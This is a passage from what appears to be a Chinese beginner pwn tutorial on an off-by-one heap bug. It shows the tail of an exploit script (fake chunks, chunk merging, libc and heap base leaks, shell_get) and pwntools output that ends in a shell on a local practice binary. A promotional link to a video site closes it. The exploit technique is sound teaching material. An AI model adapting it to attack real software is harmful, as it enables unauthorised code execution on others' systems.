chunk start at chunk_address + 0x10 -> fake chunk size - 0x10 target_info[ 'exp_alloc_size' ] + = 0x40 help_chunk_malloc() fake_chunk_fd_env_set() fake_chunk_bk_env_set() off_by_one_env_set() # hacker merge chunk generate off_by_one_enable() libc_base_addr_get() heap_segment_base_addr_get() shell_get() conn.interactive() |
运行exploit后成功获取Shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | [ * ] './off_by_one_example' Arch: amd64 - 64 - little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No Debuginfo: Yes [ * ] '/usr/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64 - 64 - little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled [ - - ] tips: exploit need diable ASLR [ + ] Starting local process './off_by_one_example' : pid 162650 [ - - ] tips: offset [alloc]: 0x810 - [use]: 0x810 [ * * ] bytes: b ' {\xf9\xf7\xff\x7f' [ * * ] hex : 0x7ffff7f97b20 [ + + ] libc base address = 0x7ffff7db0000 [ * * ] bytes: b 'p-VUUU' [ * * ] hex : 0x555555562d70 [ + + ] heap base address = 0x555555559000 [ - - ] tips system address = 0x7ffff7e028d0 [ * ] Paused (press any to continue ) [ * ] Switching to interactive mode $ ls exploit4heap_off_by_one.py log.md Makefile off_by_one_example exploit4stack_off_by_one.py main.c obj $ exit |
更多【Pwn-PWN入门-21-OffByOne遇险】相关视频教程:www.yxfzedu.com